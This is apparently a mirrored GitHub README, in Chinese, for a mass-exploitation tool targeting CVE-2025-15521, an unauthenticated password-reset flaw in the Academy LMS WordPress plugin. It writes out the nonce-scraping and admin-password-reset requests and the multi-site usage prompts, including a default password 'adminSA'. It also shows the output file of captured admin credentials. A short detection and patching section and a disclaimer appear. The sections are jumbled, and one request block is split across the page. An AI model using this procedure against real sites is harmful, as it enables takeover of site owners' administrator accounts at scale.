Nxploited/CVE-2025-15521
GitHub: Nxploited/CVE-2025-15521
该工具利用 Academy LMS 插件漏洞,通过未授权账户接管实现权限提升并提供自动化验证。
Stars: 0 | Forks: 0
# CVE-2025-15521
Academy LMS – WordPress LMS Plugin for Complete eLearning Solution 插件(适用于 WordPress)存在漏洞,在所有 3.5.0 及更早版本中可通过账户接管实现权限提升。
confirm_new_password=
security=a1b2c3d4e5 ← nonce accepted
→ Password for user_id=1 changed. No email. No confirmation.
```
处理器在仅验证 `wp_verify_nonce()` 后调用 `wp_set_password()`,而该随机数对所有访问者公开可见。没有检查请求用户是否拥有被修改的账户。
## 该脚本的作用
1. 爬取课程页面以提取实时的 `academy_nonce`
2. 对目标 `user_id` 发起重置请求,使用选定的密码
3. 通过 `/?author=N` 重定向和 REST API(`/wp-json/wp/v2/users`)枚举用户名
4. 尝试对每个候选账户进行严格登录验证:
- 拒绝已知的失败消息
- 要求 `wordpress_logged_in` Cookie
- 要求在 `/wp-admin` 中存在真实的管理界面标记,而不仅仅是 200 响应
5. 将确认可访问的条目写入输出文件 —— 终端中不打印任何敏感信息
## 要求
```
pip install requests colorama urllib3
```
需要 Python 3.8+,推荐使用 Python 3.10+。
## 用法
```
python CVE-2025-15521.py
```
系统会提示你输入:
```
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 10
Reset handler path [/academy-retrieve-password/]:
Course root path (key source) [/course/]:
Max /course/ subpages to scan per site [15]:
user_id to reset (handler target) [1]:
New password to set [adminSA]:
HTTP timeout (seconds) [10]:
Output file [scan_results/academy_access_success.txt]:
```
目标文件 —— 每行一个 URL,协议可选:
```
https://target1.com
target2.com
https://target3.com/lms
```
## 输出
**终端** —— 每个目标一行,不打印凭据:
```
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
```
**文件** —— 仅包含确认可访问的条目:
```
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
```
## 检测与修复
**对于防御者:**
阻止或监控对重置端点的未认证 POST 请求:
```
POST *academy-retrieve-password* with parameter: security=
```
检查主题课程页面源代码中 `rm_admin_order` / `academy_nonce` 是否暴露。如果未登录即可看到该随机数 —— 你的版本已受影响。
**立即修复步骤:**
- 将 Academy LMS 更新至 3.5.0 以上版本
- 如无补丁可用,暂时禁用该插件
- 审计最近更改的管理员密码
- 对所有管理员账户强制重置密码
- 为所有密码重置流程实现基于电子邮件的令牌验证
## ⚠️ 免责声明
本工具仅供授权的安全研究与渗透测试使用。
仅应对你拥有或获得明确书面许可的系统运行该工具。
作者不对未经授权或非法使用承担任何责任。
未经授权的使用违反 CFAA、CMA、欧盟指令 2013/40/EU、沙特反网络犯罪法第 M/17 条以及全球等效法律。
**作者:Nxploited(Khaled Alenazi)**
[t.me/KNxploited](https://t.me/KNxploited) · [github.com/Nxploited](https://github.com/Nxploited)
```
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
```
[](https://t.me/KNxploited)
[](https://www.cve.org/CVERecord?id=CVE-2025-15521)
[](https://nvd.nist.gov/vuln/detail/CVE-2025-15521)
[](https://python.org)
## 是什么
**CVE-2025-15521** — 在 **Academy LMS ≤ 3.5.0** 中,通过密码重置实现未经身份验证的账户接管。
该插件的重置处理器仅使用一个公开暴露的随机数(`academy_nonce`)来验证请求,该随机数嵌入在课程页面中。没有发送给用户的电子邮件令牌,没有会话检查,也没有身份验证。任何能够读取课程页面的攻击者都可以获取有效的随机数,然后重置任意账户的密码,包括 `user_id=1`(站点管理员)。
**CVSS 3.1:9.8 严重** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
**CNA:** Wordfence
## 漏洞如何工作
```
GET /course/any-course/
→ HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth
POST /academy-retrieve-password/?user_id=1
new_password=标签:CVE-2025-15521, CVSS 9.8, LMS, Nonce绕过, Wordfence, WordPress安全, WordPress插件, 公开nonce, 协议分析, 在线教育, 威胁模拟, 学习管理系统, 安全漏洞, 密码重置, 插件漏洞, 操作系统监控, 未授权访问, 权限提升, 特权提升, 网站安全, 自动化部署, 课程页面, 账户接管, 越权操作, 身份验证绕过, 逆向工具